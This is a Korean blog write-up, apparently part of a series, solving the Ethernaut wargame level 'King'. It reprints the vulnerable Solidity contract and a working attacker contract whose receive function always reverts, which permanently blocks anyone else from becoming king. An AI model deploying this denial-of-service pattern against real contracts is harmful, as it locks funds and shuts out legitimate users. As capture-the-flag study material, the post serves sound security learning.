[이더넛] 레벨9 'King' 풀기
[목표]
영원한 king이 되자.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
owner / king
확인
prize는 wei단위로 출력됩니다.
prize = 1 ETH
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
king이 되려면
msg.value가 prize(1 ETH) 보다 크거나 owner여야 합니다.
owner는 constructor에서 처음 선언되고
이후 변경할 수 없으므로
prize 보다 크게 King 컨트랙트로
ETH를 보내면 king이 됩니다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
contract bad_King {
constructor() public payable {
}
function attack(address _addr) public payable {
_addr.call{value:1100000000000000000}("");
}
receive() external payable {
revert("I am Only one King haha");
}
function destroy() public {
selfdestruct(payable(0x2BF5A2f4E77Ced2F6456d1b839b8e46E0E8e34E2));
}
}
컨트랙트 bad_King을 만들었습니다.
bad_King은 함수 attack을 통해
컨트랙트 King으로 1.1 ETH를 보내어
king이 됩니다.
그리고 prize는 1.1 ETH로 증가합니다.
이후 다른 CA나 EOA가
더 많은 ETH를 컨트랙트 KING으로 보내면
다음과 같은 과정을 거칠 것 입니다.
// King Contract
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
king.transfer(msg.value);
에서 현재 king에게
msg.value 보내려고 합니다.
그러면
// bad_King
receive() external payable {
revert("I am Only one King haha");
}
컨트랙트 bad_King
의 receive에서
revert가 있기 때문에
위 컨트랙트 King에서
msg.value만큼 컨트랙트 bad_King에게
보내려는 시도를 되돌립니다. (revert)
변경된 king, prize
이렇게 영원한 king이 되었습니다.
클리어~!
'블록체인' 카테고리의 다른 글
[이더넛] 레벨 10 'Re-entrancy' 풀기 (1) | 2021.08.13 |
---|---|
[이더넛] 레벨8 'Vault' 풀기 (0) | 2021.08.12 |
[이더넛] 레벨7 'Force' 풀기 (0) | 2021.08.12 |
[이더넛] 레벨6 'Delegation' 풀기 (0) | 2021.08.12 |
[이더넛] 레벨5 'Token' 풀기 (0) | 2021.08.12 |